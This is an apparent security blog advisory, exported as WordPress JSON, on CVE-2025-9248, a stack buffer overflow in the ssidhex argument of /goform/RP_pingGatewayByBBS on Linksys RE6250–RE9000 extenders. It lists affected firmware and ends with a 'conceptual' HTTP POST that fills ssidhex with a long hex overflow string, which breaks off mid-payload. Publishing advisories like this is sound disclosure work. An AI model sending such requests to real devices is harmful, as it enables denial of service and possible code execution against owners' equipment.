{"id":65130,"date":"2025-08-29T05:53:09","date_gmt":"2025-08-29T05:53:09","guid":{"rendered":""},"modified":"2025-08-30T06:11:08","modified_gmt":"2025-08-30T12:11:08","slug":"cve-2025-9248-critical-stack-based-buffer-overflow-vulnerability-in-linksys-devices","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9248-critical-stack-based-buffer-overflow-vulnerability-in-linksys-devices\/","title":{"rendered":"<strong>CVE-2025-9248: Critical Stack-Based Buffer Overflow Vulnerability in Linksys Devices<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the world of cybersecurity, vulnerabilities are an inevitable issue that every organization must face. Among these vulnerabilities, a major one was recently identified in specific Linksys devices that could potentially compromise systems and lead to data leakage. The vulnerability, dubbed CVE-2025-9248, poses a severe threat to Linksys RE6250, RE6300, RE6350, RE6500, RE7000, and RE9000 devices. This vulnerability matters because it allows a remote attacker to potentially gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44655-unauthorized-access-and-privilege-escalation-in-totolink-routers\/\"  data-wpil-monitor-id=\"73294\">unauthorized access<\/a> and compromise the system, leading to loss of sensitive data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-9248<br \/>\nSeverity: Critical (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27055-memory-corruption-leads-to-potential-system-compromise-during-image-encoding\/\"  data-wpil-monitor-id=\"74349\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2097584281\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Linksys RE6250 | 1.0.013.001, 1.0.04.001, 1.0.04.002<br \/>\nLinksys RE6300 | 1.0.013.001, 1.0.04.001, 1.0.04.002<br \/>\nLinksys RE6350 | 1.1.05.003, 1.2.07.001<br \/>\nLinksys RE6500 | 1.1.05.003, 1.2.07.001<br \/>\nLinksys RE7000 | 1.1.05.003, 1.2.07.001<br \/>\nLinksys RE9000 | 1.1.05.003, 1.2.07.001<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74557\">vulnerability resides in the function RP_pingGatewayByBBS of the file<\/a> \/goform\/RP_pingGatewayByBBS in the Linksys devices. A malicious user can manipulate the ssidhex argument in this function to cause a stack-based <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9006-critical-remote-buffer-overflow-vulnerability-in-tenda-ch22-1-0-0-1\/\"  data-wpil-monitor-id=\"75366\">buffer overflow<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30327-integer-overflow-vulnerability-in-incopy-leading-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"73582\">overflow can be leveraged to execute arbitrary code<\/a> on the device, potentially leading to full system compromise. The attack may be performed remotely, increasing its potential impact.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1848136628\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>While this example does not represent actual exploit code, it provides a conceptual <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49526-out-of-bounds-write-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"75145\">illustration of how an attacker might trigger the vulnerability<\/a>:<br \/>\n&#8220;`http<br \/>\nPOST \/goform\/RP_pingGatewayByBBS HTTP\/1.1<br \/>\nHost: target.linksysdevice.com<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nssidhex=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the world of cybersecurity, vulnerabilities are an inevitable issue that every organization must face. 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